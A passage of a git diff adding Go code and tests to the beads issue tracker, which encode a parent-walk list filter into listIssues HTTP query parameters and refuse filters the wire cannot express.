defer q.o.mu.Unlock() + q.o.query, q.o.visited[visitKey(OpQueryIssues, "")] = req, true + return issueops.IssuePage{Items: []*issueops.IssueWithCounts{}}, nil +} + +type recordingIssueCounter struct{ o *oracle } + +func (c recordingIssueCounter) Count(_ context.Context, req issueops.CountRequest) (issueops.CountResult, error) { + c.o.mu.Lock() + defer c.o.mu.Unlock() + c.o.issueCount, c.o.visited[visitKey(OpCountIssues, "")] = req, true + return issueops.CountResult{}, nil +} + +func (c recordingIssueCounter) CountByGroup(_ context.Context, req issueops.CountByGroupRequest) (issueops.CountByGroupResult, error) { + c.o.mu.Lock() + defer c.o.mu.Unlock() + c.o.issueGroup, c.o.visited[visitKey(OpCountIssues, "byGroup")] = req, true + return issueops.CountByGroupResult{Groups: map[string]int{}}, nil +} + +// The roles this gate never dials. Each embeds its interface, so the +// Config is complete and a call that should not happen panics on the nil +// embedded value instead of answering something plausible. +type ( + stubClaimer struct{ issueops.Claimer } + stubReadyClaimer struct{ issueops.ReadyClaimer } + stubReleaser struct{ issueops.Releaser } + stubMetadataCAS struct{ issueops.MetadataCAS } + stubBatchApplier struct{ issueops.BatchApplier } + stubLifecycle struct{ issueops.Lifecycle } + stubSettings struct{ issueops.WorkspaceConfig } + stubStats struct{ issueops.StatsReporter } + stubCycles struct{ issueops.CycleDetector } + stubEdges struct{ issueops.EdgeReader } + stubGraphCounter struct{ issueops.GraphCounter } + stubRelations struct{ issueops.Relations } + stubCommenter struct{ issueops.Commenter } + stubBlocking struct{ issueops.BlockingAnnotator } + stubTree struct{ issueops.TreeWalker } + stubSweeper struct{ issueops.Sweeper } + stubDeleter struct{ issueops.Deleter } + stubBatchCreator struct{ issueops.BatchCreator } + stubBatchCloser struct{ issueops.BatchCloser } + stubDependencyEditor struct{ issueops.DependencyEditor } + stubMemories struct{ memoryops.Memories } +) diff --git a/internal/httpclient/encode/parentwalk.go b/internal/httpclient/encode/parentwalk.go new file mode 100644 index 000000000..aa75cb551 --- /dev/null +++ b/internal/httpclient/encode/parentwalk.go @@ -0,0 +1,378 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/parentwalk.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "net/url" + "slices" + "strings" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// D4's `bd list --parent` walk, inverted. +// +// THE PROBLEM. The walk hands the store `bd list`'s whole built filter with only +// ParentID and Limit re-pointed per level (cmd/bd/list_show_filter_modes.go +// findAllDescendants), and workapi.BuildListFilter populates ExcludeStatus, +// Pinned, IsTemplate, ExcludeTypes, Ephemeral and SkipWisps on EVERY default +// listing. So the "ParentID-only shape" D4 originally named can never occur, and +// encoding those members verbatim is impossible anyway: listIssues publishes no +// exclude_status, no exclude_type and no is_template. +// +// THE RESOLUTION (escalation ga-2ieek, spec revision 6b428bf63). The wire +// publishes INTENTS — `all`, `include_templates`, `include_gates`, +// `include_infra` — not materialized exclusions, and the server's own role runs +// the SAME builder against the server's authoritative vocabulary. So the bridge +// inverts: it reads the intents back off the derived members, sends those, and +// lets the server re-derive. That is parity-positive as well as expressible — +// the re-derivation heals L7's degraded client-side vocabulary for the walk. +// +// WHY IT VERIFIES RATHER THAN PATTERN-MATCHES. Recognizing each member with its +// own hand-written rule would be a second encoder of BuildListFilter's +// semantics, and a second copy is a thing that can drift — which is exactly the +// objection recorded against inventing a reverse mapping. So the inversion reads +// the intents off the filter and then RE-RUNS THE REAL BUILDER to prove them: +// the intents are accepted only when the filter they produce carries the same +// derived members as the one in hand. The recognition is therefore not a copy of +// the derivation, it IS the derivation. +// +// ANY MEMBER THE RE-DERIVATION DOES NOT ACCOUNT FOR REFUSES, L12-style, citing +// its own ledger row — a user's `--exclude-type`, a `--pinned`, an +// `--include-templates` the intents cannot reach. + +// ListConfig is the client-side status and type vocabulary the inversion +// recognizes with. It is workapi's own, because the filter being inverted was +// built from exactly this value: passing anything else would make the +// recognition an approximation of the derivation rather than the derivation. +type ListConfig = workapi.ListConfig + +// ZeroVocabulary is the recognition set of an unconfigured workspace: the +// built-in statuses and the default infra types, which is the reading +// BuildListFilter itself gives one. Gates driving the table use it, and so does +// any caller with no store to ask. +func ZeroVocabulary() ListConfig { return ListConfig{} } + +// NewListConfig assembles the recognition vocabulary from the three reads that +// are its only wire-visible source (D4's degraded-vocabulary row, L7). +// +// It exists so the STORE does not have to import workapi to build one. The +// bridge subpackage is the allowlisted home for that dependency and the store is +// not, which is the boundary the design's lint row draws — so the store reads +// the three values through its own settings role and hands them here. +func NewListConfig(customStatuses []types.CustomStatus, customTypes []string, infra map[string]bool) ListConfig { + return ListConfig{CustomStatuses: customStatuses, CustomTypes: customTypes, InfraSet: infra} +} + +// The two stand-ins the re-derivation validates with. +// +// BuildListFilter validates `--status` and `--type` against the workspace +// vocabulary, and that check must NOT run here. The filter in hand already +// passed it on the way in, the value is being forwarded to a server that will +// apply its own AUTHORITATIVE vocabulary, and the client's copy is the degraded +// one (L7) — so re-validating client-side could refuse a table-backed custom +// status the server knows perfectly well. +// +// Substituting is exact rather than approximate because the derived members read +// these two fields only through predicates the stand-ins preserve: status +// matters as ""/"all"/"pinned"/"hooked"/other, and type matters as ""/"gate"/an +// infra name/other. Every "other" derives identically, so one representative +// stands for all of them. +const ( + otherStatus = string(types.StatusOpen) + otherType = "task" +) + +// derivedMember is one member BuildListFilter populates from the intent flags +// rather than from a user's filter, with the ledger row its mismatch cites. +// +// The order is the order the inversion compares in, and it is the order the +// encoder table declares them in, so a filter that diverges in two members +// always refuses on the same one. +var derivedMembers = []struct { + Field string + Ledger string + Equal func(got, want types.IssueFilter) bool +}{ + {"ExcludeStatus", "P-IssueFilter.ExcludeStatus", func(g, w types.IssueFilter) bool { return sameSet(g.ExcludeStatus, w.ExcludeStatus) }}, + {"Pinned", "P-IssueFilter.Pinned", func(g, w types.IssueFilter) bool { return boolPtrEqual(g.Pinned, w.Pinned) }}, + {"IsTemplate", "P-IssueFilter.IsTemplate", func(g, w types.IssueFilter) bool { return boolPtrEqual(g.IsTemplate, w.IsTemplate) }}, + {"ExcludeTypes", "P-IssueFilter.ExcludeTypes", func(g, w types.IssueFilter) bool { return sameSet(g.ExcludeTypes, w.ExcludeTypes) }}, + {"Ephemeral", "P-IssueFilter.Ephemeral", func(g, w types.IssueFilter) bool { return boolPtrEqual(g.Ephemeral, w.Ephemeral) }}, + {"SkipWisps", "P-IssueFilter.SkipWisps", func(g, w types.IssueFilter) bool { return g.SkipWisps == w.SkipWisps }}, +} + +// walkIntents is what one walk filter is recognized as. +type walkIntents struct { + // Status is the user's `--status` value, forwarded verbatim. Empty means + // they named none. + Status string + // AllFlag, IncludeTemplates, IncludeGates, IncludeInfra and + // IncludeEphemeral are the five intent booleans listIssues publishes. + AllFlag bool + IncludeTemplates bool + IncludeGates bool + IncludeInfra bool + // IncludeEphemeral is the PLANE intent, and it arrived last: the listing + // published no way to merge the wisp plane when this inversion was written + // (D9 L1), so a wisp-inclusive walk had nowhere to go and refused. L1 is + // retired and the member is published, so the intent is read back off + // SkipWisps here like every other derived default. + IncludeEphemeral bool +} + +// planParentWalk inverts a descendant-walk filter into listIssues parameters. +func planParentWalk(f types.IssueFilter, cfg ListConfig) (url.Values, error) { + intents, err := recognizeIntents(f, cfg) + if err != nil { + return nil, err + } + + b := newBuilder(OpListIssues, string(SearchParentWalk)) + // The residual sweep runs AFTER the inversion, which is the table's own + // order: the derived members are declared ahead of the plain refusals, so a + // filter that diverges in both refuses on the derived one. + b.refuseInexpressible(f) + + b.str("parent", derefString(f.ParentID)) + + // The intents, in place of the exclusions they produced. + b.str("status", intents.Status) + b.boolean("all", intents.AllFlag) + b.boolean("include_templates", intents.IncludeTemplates) + b.boolean("include_gates", intents.IncludeGates) + b.boolean("include_infra", intents.IncludeInfra) + b.boolean("include_ephemeral", intents.IncludeEphemeral) + + // The explicit user filters, under their documented parameters. + b.strPtr("type", (*string)(f.IssueType)) + b.strPtr("assignee", f.Assignee) + b.list("label", f.Labels) + b.list("label_any", f.LabelsAny) + b.list("exclude_label", f.ExcludeLabels) + b.timestamp("created_before", f.CreatedBefore) + b.timestamp("created_after", f.CreatedAfter) + b.metadata(f.MetadataFields) + b.str("has_metadata_key", f.HasMetadataKey) + + return b.done() +} + +// recognizeIntents reads the intents off f's derived members and proves them by +// re-derivation, or refuses naming the member that does not fit. +// +// EVERY INTENT IS READ, NONE IS SEARCHED FOR. A search over candidate intents +// would find the right answer just as often, but it could not say WHICH member +// was wrong when it found none: every candidate mismatches somewhere, so +// reporting the first one tried would name an arbitrary member and the refusal +// would cite an arbitrary ledger row. Each intent is therefore derived from the +// member that uniquely determines it, ONE candidate is built, and the comparison +// attributes exactly. +// +// `all` is the intent no single member determines: it is read off the absence +// of the status exclusions together with the pinned default. +// +// UPSTREAM #5333 COLLAPSED ONE OF THE READINGS THIS USED TO MAKE. `--status all` +// used to leave the pinned default in place and was told apart from `--all` by +// exactly that; the fix stopped a selector that promises EVERY status from +// silently forcing Pinned=false, so the two spellings now build one identical +// filter and are one question here. What survives is the other direction: a +// pinned default with no status and no exclusions is now reachable only from an +// explicit `--all --no-pinned`, and the wire has no parameter for it, so it +// refuses on P-IssueFilter.Pinned instead of encoding a `status=all` that would +// now ask the server a wider question than the caller did. +func recognizeIntents(f types.IssueFilter, cfg ListConfig) (walkIntents, error) { + refuse := func(row string) (walkIntents, error) { + return walkIntents{}, &RefusedError{Op: OpListIssues, Shape: string(SearchParentWalk), Row: RowByID(row)} + } + + issueType := derefString((*string)(f.IssueType)) + intents := walkIntents{ + Status: explicitStatus(f), + + IncludeTemplates: f.IsTemplate == nil, + IncludeGates: !slices.Contains(f.ExcludeTypes, types.IssueType("gate")), + IncludeInfra: !carriesEveryInfraType(f.ExcludeTypes, cfg), + // SkipWisps is the only trace the plane intent leaves in a built + // filter, so a merged plane is read as `--include-ephemeral` and a + // skipped one as its absence. + IncludeEphemeral: !f.SkipWisps, + } + // An infra `--type`, or the type `gate` itself, suppresses its exclusions on + // its own, so their absence says nothing about the flag. Read it as unset: + // that omits a parameter the server does not need, and the verification + // below rejects the reading if it is ever wrong. + if issueType == "gate" { + intents.IncludeGates = false + } + if cfg.IsInfra(issueType) { + intents.IncludeInfra = false + } + // The same rule for the plane, and it has TWO suppressors rather than one: + // `--include-infra` admits the wisp plane as well as the infra types, and an + // infra `--type` routes to the plane on its own. Either one leaves SkipWisps + // false whatever the ephemeral flag was, so under either of them the pair is + // the same question as the infra intent alone — `--all --no-pinned` and + // `--status all` again — and inventing the second parameter would be a + // distinction the re-derivation cannot see. + if intents.IncludeInfra || cfg.IsInfra(issueType) { + intents.IncludeEphemeral = false + } + + // The derivation's own reading of the status, which decides both the + // exclusion block and the pinned default. + derived := derivationStatus(intents.Status) + switch { + case len(f.ExcludeStatus) > 0: + // Exclusions survive only with no status and no `--all`. + intents.AllFlag = false + case derived != "": + // A named status suppresses the exclusions itself, so `all` shows only + // in the pinned default it also suppresses. + intents.AllFlag = f.Pinned == nil && derived != "pinned" && derived != "hooked" + case f.Pinned == nil: + intents.AllFlag = true + default: + // No status, no exclusions, and the pinned default still in place. Since + // upstream #5333 the only spelling that produces all three is + // `--all --no-pinned`, and the wire can carry neither half of it: `all` + // alone would drop the narrowing, and `status=all` no longer implies it + // server-side either. Refused here rather than read as `--status all` + // and left to the re-derivation below, which would refuse on the same + // member for a reason a reader would have to reconstruct. + return refuse("P-IssueFilter.Pinned") + } + + want, err := workapi.BuildListFilter(issueops.ListRequest{ + ParentID: derefString(f.ParentID), + Status: derived, + IssueType: derivationType(issueType, cfg), + AllFlag: intents.AllFlag, + IncludeTemplates: intents.IncludeTemplates, + IncludeGates: intents.IncludeGates, + IncludeInfra: intents.IncludeInfra, + IncludeEphemeral: intents.IncludeEphemeral, + }, cfg) + if err != nil { + // The stand-ins are drawn from the built-in vocabulary, so the builder + // cannot refuse them for being unknown. Reaching here means it refused + // the SHAPE, which is a client bug rather than a wire limitation — but + // it is still a refusal rather than a panic, because the alternative is + // answering a question this bridge has not understood. + return refuse("P-IssueFilter.unrecognized") + } + if row, mismatched := firstDerivedMismatch(f, want); mismatched { + return refuse(row) + } + return intents, nil +} + +// firstDerivedMismatch reports the ledger row of the first derived member the +// recognized intents do not reproduce. +func firstDerivedMismatch(got, want types.IssueFilter) (string, bool) { + for _, member := range derivedMembers { + if !member.Equal(got, want) { + return member.Ledger, true + } + } + return "", false +} + +// derivationStatus maps a user's status onto the representative the derivation +// behaves identically for. See otherStatus. +func derivationStatus(status string) string { + switch status { + case "", "all", "pinned", "hooked": + return status + default: + return otherStatus + } +} + +// derivationType maps a user's type onto the representative the derivation +// behaves identically for. See otherType. +func derivationType(issueType string, cfg ListConfig) string { + switch { + case issueType == "": + return "" + case issueType == "gate": + return "gate" + case cfg.IsInfra(issueType): + return issueType + default: + return otherType + } +} + +// explicitStatus renders the status intent that produced f's status members. +// +// A single status came from a bare `--status` name; several came from one +// comma-separated value, which is also how the wire's `status` parameter carries +// them (the operation reads it with the comma decoder and the role splits it +// again). Joining and re-splitting is therefore a round trip, not a guess. +func explicitStatus(f types.IssueFilter) string { + if f.Status != nil { + return string(*f.Status) + } + if len(f.Statuses) == 0 { + return "" + } + parts := make([]string, 0, len(f.Statuses)) + for _, s := range f.Statuses { + parts = append(parts, string(s)) + } + return strings.Join(parts, ",") +} + +// carriesEveryInfraType reports whether the exclusions hold the whole +// client-derivable infra vocabulary, which is what `--include-infra` being off +// produces. +// +// EVERY member, not any: a partial overlap is a user's own `--exclude-type` that +// happens to name an infra type, and reading it as the derived default would +// drop the rest of their exclusion silently. +func carriesEveryInfraType(excluded []types.IssueType, cfg ListConfig) bool { + infra := cfg.InfraTypes() + if len(infra) == 0 { + return false + } + for _, t := range infra { + if !slices.Contains(excluded, types.IssueType(t)) { + return false + } + } + return true +} + +// sameSet compares two exclusion lists as SETS. +// +// Order is not part of the meaning and is not even stable on one side: +// ListConfig.InfraTypes ranges a map when the workspace configures its own, so +// the infra members BuildListFilter appends arrive in a different order run to +// run. A slice comparison would make the inversion flaky on exactly the +// workspaces that configured the vocabulary it exists to respect. +func sameSet[T ~string](a, b []T) bool { + if len(a) != len(b) { + return false + } + left, right := slices.Clone(a), slices.Clone(b) + slices.Sort(left) + slices.Sort(right) + return slices.Equal(left, right) +} + +func boolPtrEqual(a, b *bool) bool { + if a == nil || b == nil { + return a == nil && b == nil + } + return *a == *b +} + +func derefString[T ~string](p *T) string { + if p == nil { + return "" + } + return string(*p) +} diff --git a/internal/httpclient/encode/parentwalk_test.go b/internal/httpclient/encode/parentwalk_test.go new file mode 100644 index 000000000..f94ac24b1 --- /dev/null +++ b/internal/httpclient/encode/parentwalk_test.go @@ -0,0 +1,531 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/parentwalk_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "errors" + "net/url" + "reflect" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The gate on D4's parent-walk inversion. +// +// It drives the REAL builder rather than hand-written filters, because that is +// the whole claim being made: `bd list --parent` hands the store whatever +// workapi.BuildListFilter produced for the user's flags, and the inversion says +// it can read the intents back out of it. A test that wrote the filter by hand +// would be checking the inversion against a second guess at the derivation, and +// the two could agree while both were wrong. +// +// The four fixtures the spec's pin list names — default rendering, `--all`, the +// `--include-*` variants, and a residual refusal — are the table below. + +// walkFilter builds what `bd list --parent ` hands the walk: the +// listing's own filter, with the two members findAllDescendants re-points per +// level applied exactly as it applies them. +func walkFilter(t *testing.T, in issueops.ListRequest, cfg ListConfig) types.IssueFilter { + t.Helper() + in.ParentID = "bd-root" + filter, err := workapi.BuildListFilter(in, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + parent := "bd-root" + filter.ParentID = &parent + filter.Limit = 0 + return filter +} + +// textListing is what every text rendering of `bd list` sets on top of the +// user's flags (cmd/bd/list.go), so the default fixture is the filter the walk +// really receives rather than a tidier one. +func textListing(in issueops.ListRequest) issueops.ListRequest { + in.SkipCounts = true + return in +} + +func TestTheParentWalkInvertsTheDerivedDefaults(t *testing.T) { + cfg := ListConfig{} + + for _, tc := range []struct { + name string + in issueops.ListRequest + want url.Values + }{ + { + // The fixture D4 exists for: a bare `bd list --parent `, whose + // filter carries ExcludeStatus, Pinned, IsTemplate, the gate and + // infra exclusions and SkipWisps — none of which the wire publishes, + // and all of which the server re-derives from their own absence. + name: "the default text rendering sends only the parent", + in: textListing(issueops.ListRequest{}), + want: url.Values{"parent": {"bd-root"}}, + }, + { + name: "--all inverts the dropped status exclusions", + in: textListing(issueops.ListRequest{AllFlag: true}), + want: url.Values{"parent": {"bd-root"}, "all": {"true"}}, + }, + { + // `--status all` reaches the same three absences as `--all` AND, since + // upstream #5333 stopped an every-status selector from forcing the + // pinned default, the same pinned reading too. The two spellings are + // one filter, so they are one wire question. + name: "--status all is the same question as --all", + in: textListing(issueops.ListRequest{Status: "all"}), + want: url.Values{"parent": {"bd-root"}, "all": {"true"}}, + }, + { + name: "the three --include-* flags invert to their intents", + in: textListing(issueops.ListRequest{ + IncludeTemplates: true, IncludeGates: true, IncludeInfra: true, + }), + want: url.Values{ + "parent": {"bd-root"}, + "include_templates": {"true"}, + "include_gates": {"true"}, + "include_infra": {"true"}, + }, + }, + { + name: "--include-gates alone leaves the infra exclusions in place", + in: textListing(issueops.ListRequest{IncludeGates: true}), + want: url.Values{"parent": {"bd-root"}, "include_gates": {"true"}}, + }, + { + // The fourth intent, and the one the walk could not state until + // client wave ga-mijra: a wisp-inclusive descendant listing. Its + // only trace in the built filter is SkipWisps going false, which is + // exactly what the inversion reads it back off. + name: "--include-ephemeral inverts to the plane intent", + in: textListing(issueops.ListRequest{IncludeEphemeral: true}), + want: url.Values{"parent": {"bd-root"}, "include_ephemeral": {"true"}}, + }, + { + // --include-infra admits the plane on its own, so SkipWisps says + // nothing about the ephemeral flag here and the reading is "unset" — + // the same one --type gate gets for the gate intent. The + // re-derivation rejects it if that is ever wrong. + name: "--include-infra alone does not invent an ephemeral intent", + in: textListing(issueops.ListRequest{IncludeInfra: true}), + want: url.Values{"parent": {"bd-root"}, "include_infra": {"true"}}, + }, + { + // And the pair is the SAME QUESTION as --include-infra alone, the + // way `--all --no-pinned` is the same question as `--status all`: + // both flags admit the plane, so the filter they build is one + // filter and the walk says so rather than inventing a distinction + // the re-derivation cannot see. The pairing gc's TierBoth reads + // need is real on the LISTING, which sends what the caller set — + // see ListParams and the served two-plane cases. + name: "--include-ephemeral --include-infra is the same question as --include-infra", + in: textListing(issueops.ListRequest{IncludeEphemeral: true, IncludeInfra: true}), + want: url.Values{"parent": {"bd-root"}, "include_infra": {"true"}}, + }, + { + name: "an explicit status travels verbatim under its own parameter", + in: textListing(issueops.ListRequest{Status: "in_progress"}), + want: url.Values{"parent": {"bd-root"}, "status": {"in_progress"}}, + }, + { + // The multi-status spelling is one comma-separated value on both + // sides, so it round-trips through the same parameter. + name: "a multi-status filter re-joins into the one status parameter", + in: textListing(issueops.ListRequest{Status: "open,in_progress"}), + want: url.Values{"parent": {"bd-root"}, "status": {"open,in_progress"}}, + }, + { + // `--type gate` suppresses the gate exclusion on BOTH sides, so its + // absence must not be read as `--include-gates`. + name: "an explicit gate type suppresses the gate exclusion on both sides", + in: textListing(issueops.ListRequest{IssueType: "gate"}), + want: url.Values{"parent": {"bd-root"}, "type": {"gate"}}, + }, + { + name: "the explicit user filters encode under their documented parameters", + in: textListing(issueops.ListRequest{ + Assignee: "ada", + Labels: []string{"api"}, + LabelsAny: []string{"p0", "p1"}, + ExcludeLabels: []string{"wontfix"}, + HasMetadataKey: "epic", + MetadataFields: map[string]string{"team": "core"}, + }), + want: url.Values{ + "parent": {"bd-root"}, + "assignee": {"ada"}, + "label": {"api"}, + "label_any": {"p0", "p1"}, + "exclude_label": {"wontfix"}, + "has_metadata_key": {"epic"}, + "metadata_field": {"team=core"}, + }, + }, + } { + t.Run(tc.name, func(t *testing.T) { + plan, err := PlanSearch(walkFilter(t, tc.in, cfg), vocab(cfg)) + if err != nil { + t.Fatalf("PlanSearch: %v", err) + } + if plan.Shape != SearchParentWalk { + t.Fatalf("shape = %q, want %q", plan.Shape, SearchParentWalk) + } + if got := plan.Params.Encode(); got != tc.want.Encode() { + t.Errorf("params = %q, want %q", got, tc.want.Encode()) + } + }) + } +} + +// TestTheParentWalkRefusesAResidualFilter is the pin list's refusal case: a flag +// whose effect survives into the filter as something no intent reproduces. +// +// Each of these is a NARROWING the wire cannot state, which is the direction +// that matters — dropping one would answer with rows the user asked to hide. +func TestTheParentWalkRefusesAResidualFilter(t *testing.T) { + cfg := ListConfig{} + + for _, tc := range []struct { + name string + in issueops.ListRequest + row string + }{ + { + // The canonical residual: --exclude-type appends past the derived + // gate and infra members, and listIssues publishes no exclude_type. + name: "--exclude-type", + in: textListing(issueops.ListRequest{ExcludeTypes: []string{"chore"}}), + row: "P-IssueFilter.ExcludeTypes", + }, + { + // --pinned selects the flagged rows, which is a predicate and not an + // intent; it also suppresses the status exclusions, so the refusal + // has to be attributed to Pinned rather than to their absence. + name: "--pinned", + in: textListing(issueops.ListRequest{PinnedFlag: true}), + row: "P-IssueFilter.Pinned", + }, + { + // A residual with a documented parameter is still a residual when + // the parameter is not this operation's: listIssues publishes no + // priority. + name: "--priority", + in: textListing(issueops.ListRequest{Priority: intPtr(1)}), + row: "P-IssueFilter.Priority", + }, + } { + t.Run(tc.name, func(t *testing.T) { + var refusal *RefusedError + plan, err := PlanSearch(walkFilter(t, tc.in, cfg), vocab(cfg)) + if !errors.As(err, &refusal) { + t.Fatalf("encoded as %v without a refusal (err=%v)", plan.Params, err) + } + if !errors.Is(err, ErrRefused) { + t.Error("the refusal does not match ErrRefused") + } + if refusal.Row.ID != tc.row { + t.Errorf("refusal cites %q, want %q", refusal.Row.ID, tc.row) + } + }) + } +} + +// TestTheParentWalkRefusesADerivedMemberNoIntentReaches covers the members the +// CLI cannot produce but the seam can still be handed. +// +// The walk takes a types.IssueFilter, not a set of flags, so "no flag makes +// this" is not a proof that it cannot arrive — a library caller, or a future +// flag, reaches the same seam. Each case starts from a real built filter and +// changes exactly one member, which is what makes the refusal attributable. +func TestTheParentWalkRefusesADerivedMemberNoIntentReaches(t *testing.T) { + cfg := ListConfig{} + base := func() types.IssueFilter { return walkFilter(t, textListing(issueops.ListRequest{}), cfg) } + + for _, tc := range []struct { + name string + mutate func(*types.IssueFilter) + row string + }{ + { + // Templates ONLY. include_templates admits them alongside everything + // else and cannot select them, so this narrows in a direction the + // operation has no way to say. + name: "selecting templates only", + mutate: func(f *types.IssueFilter) { yes := true; f.IsTemplate = &yes }, + row: "P-IssueFilter.IsTemplate", + }, + { + name: "a status exclusion that is not the derived set", + mutate: func(f *types.IssueFilter) { f.ExcludeStatus = []types.Status{types.StatusBlocked} }, + row: "P-IssueFilter.ExcludeStatus", + }, + { + // Half the infra vocabulary is a user's own exclusion that happens to + // name infra types, not the derived default — reading it as the + // default would drop the rest of their exclusion silently. + name: "a partial infra exclusion", + mutate: func(f *types.IssueFilter) { f.ExcludeTypes = []types.IssueType{"gate", "agent"} }, + row: "P-IssueFilter.ExcludeTypes", + }, + { + name: "an ephemeral predicate on a non-infra listing", + mutate: func(f *types.IssueFilter) { yes := true; f.Ephemeral = &yes }, + row: "P-IssueFilter.Ephemeral", + }, + { + // SkipWisps HELD while the type exclusions say the infra vocabulary + // is admitted: BuildListFilter never produces that pair — admitting + // infra admits the plane — so no intent reproduces it and dropping + // the opt-out would merge a plane the caller asked to skip. + name: "holding the wisp plane out while infra is admitted", + mutate: func(f *types.IssueFilter) { + f.ExcludeTypes = nil + f.SkipWisps = true + }, + row: "P-IssueFilter.SkipWisps", + }, + } { + t.Run(tc.name, func(t *testing.T) { + filter := base() + tc.mutate(&filter) + + var refusal *RefusedError + plan, err := PlanSearch(filter, vocab(cfg)) + if !errors.As(err, &refusal) { + t.Fatalf("encoded as %v without a refusal (err=%v)", plan.Params, err) + } + if refusal.Row.ID != tc.row { + t.Errorf("refusal cites %q, want %q", refusal.Row.ID, tc.row) + } + }) + } +} + +// TestTheParentWalkReadsTheAllSpellingsTogetherAndTheNarrowingApart is the +// fourth derived default doing the only job it has left. +// +// It used to separate `--all` from `--status all`. Upstream #5333 removed that +// distinction at the source — an every-status selector no longer forces +// Pinned=false, because doing so hid pinned beads from the one selector that +// promises to hide nothing — so the two spellings now build ONE filter and this +// walk encodes them identically. The case survives inverted: what the pinned +// default still marks is a NARROWING, `--all --no-pinned`, and the wire has no +// parameter for it. Encoding it as `status=all` would have been right before +// #5333 and is now a wider question than the caller asked, so it refuses. +func TestTheParentWalkReadsTheAllSpellingsTogetherAndTheNarrowingApart(t *testing.T) { + cfg := ListConfig{} + for _, tc := range []struct { + name string + in issueops.ListRequest + want string + }{ + {"--all leaves no pinned default", issueops.ListRequest{AllFlag: true}, "all=true&parent=bd-root"}, + {"--status all is now the same filter, so the same params", issueops.ListRequest{Status: "all"}, "all=true&parent=bd-root"}, + } { + t.Run(tc.name, func(t *testing.T) { + plan, err := PlanSearch(walkFilter(t, textListing(tc.in), cfg), vocab(cfg)) + if err != nil { + t.Fatalf("PlanSearch: %v", err) + } + if got := plan.Params.Encode(); got != tc.want { + t.Errorf("params = %q, want %q", got, tc.want) + } + }) + } + + t.Run("--all --no-pinned is a narrowing the wire cannot state", func(t *testing.T) { + var refusal *RefusedError + plan, err := PlanSearch(walkFilter(t, textListing(issueops.ListRequest{AllFlag: true, NoPinnedFlag: true}), cfg), vocab(cfg)) + if !errors.As(err, &refusal) { + t.Fatalf("encoded as %v without a refusal (err=%v)", plan.Params, err) + } + if refusal.Row.ID != "P-IssueFilter.Pinned" { + t.Errorf("refusal cites %q, want P-IssueFilter.Pinned", refusal.Row.ID) + } + }) +} + +// TestTheParentWalkRecognizesAConfiguredVocabulary drives the inversion against +// a workspace that configured its own statuses and infra types. +// +// It is the case the "recognition set IS the derivation" claim is really about: +// the derived exclusions are longer, their order is a map's, and the inversion +// still has to read the same intents back out. A hand-written recognizer would +// have to restate the category rule and the fallback rule to get here. +func TestTheParentWalkRecognizesAConfiguredVocabulary(t *testing.T) { + cfg := ListConfig{ + CustomStatuses: []types.CustomStatus{ + {Name: "shipped", Category: types.CategoryDone}, + {Name: "icebox", Category: types.CategoryFrozen}, + {Name: "reviewing", Category: types.CategoryActive}, + }, + InfraSet: map[string]bool{"agent": true, "role": true, "beacon": true}, + } + + filter := walkFilter(t, textListing(issueops.ListRequest{}), cfg) + // The precondition this case exists for: the derived exclusions really do + // carry the configured vocabulary, so recognizing them is not vacuous. + if len(filter.ExcludeStatus) != 4 || len(filter.ExcludeTypes) != 4 { + t.Fatalf("the configured vocabulary did not reach the filter: exclude_status=%v exclude_types=%v", + filter.ExcludeStatus, filter.ExcludeTypes) + } + + plan, err := PlanSearch(filter, vocab(cfg)) + if err != nil { + t.Fatalf("PlanSearch: %v", err) + } + if got, want := plan.Params.Encode(), (url.Values{"parent": {"bd-root"}}).Encode(); got != want { + t.Errorf("params = %q, want %q", got, want) + } + + // A status this workspace configured is a status the wire carries verbatim, + // and the client must not re-validate it: the server's vocabulary is the + // authoritative one (L7). + plan, err = PlanSearch(walkFilter(t, textListing(issueops.ListRequest{Status: "reviewing"}), cfg), vocab(cfg)) + if err != nil { + t.Fatalf("PlanSearch with a configured status: %v", err) + } + if got := plan.Params.Get("status"); got != "reviewing" { + t.Errorf("status = %q, want the configured value verbatim", got) + } +} + +// TestTheParentWalkSendsNoUnlimitedPage pins the one thing the encoder must +// never emit for this shape: the walk asks for every descendant at each level, +// and `limit=0` is refused outright by a server bound past loopback. Paging to +// exhaustion is the pager's answer, and it owns the parameter. +func TestTheParentWalkSendsNoUnlimitedPage(t *testing.T) { + plan, err := PlanSearch(walkFilter(t, textListing(issueops.ListRequest{}), ListConfig{}), ZeroVocabulary) + if err != nil { + t.Fatalf("PlanSearch: %v", err) + } + if _, ok := plan.Params["limit"]; ok { + t.Errorf("the walk encoded a limit (%v); the pager owns it", plan.Params) + } +} + +// TestTheParentWalkRoundTripsThroughTheServerDecoder closes the loop the +// inversion's whole argument rests on. +// +// The claim is not "these parameters look right". It is that the SERVER, given +// the intents, re-derives the same filter from the same builder — so the walk +// asks the remote store the question the local store was asked. That is what is +// checked here: the encoded parameters go through the production route table and +// query decoder, the ListRequest the server built is read back off a capturing +// role, and THAT is fed through BuildListFilter again. The filter that comes out +// must carry the derived members of the one that went in. +// +// A parameter name this client has wrong is a 400 and fails at the dial. A value +// that decodes to a different intent survives the dial and fails at the +// comparison. Neither can be papered over from this side, because nothing in the +// expectation is written by hand. +func TestTheParentWalkRoundTripsThroughTheServerDecoder(t *testing.T) { + oracle := startOracle(t) + cfg := ListConfig{ + CustomStatuses: []types.CustomStatus{{Name: "shipped", Category: types.CategoryDone}}, + CustomTypes: []string{"agent", "beacon"}, + InfraSet: map[string]bool{"agent": true, "beacon": true}, + } + + assignee := "ada" + for _, tc := range []struct { + name string + in issueops.ListRequest + }{ + {"the default text rendering", textListing(issueops.ListRequest{})}, + {"--all", textListing(issueops.ListRequest{AllFlag: true})}, + {"--status all", textListing(issueops.ListRequest{Status: "all"})}, + {"every --include-* flag", textListing(issueops.ListRequest{IncludeTemplates: true, IncludeGates: true, IncludeInfra: true})}, + {"--include-gates alone", textListing(issueops.ListRequest{IncludeGates: true})}, + {"--include-infra alone", textListing(issueops.ListRequest{IncludeInfra: true})}, + {"--include-ephemeral alone", 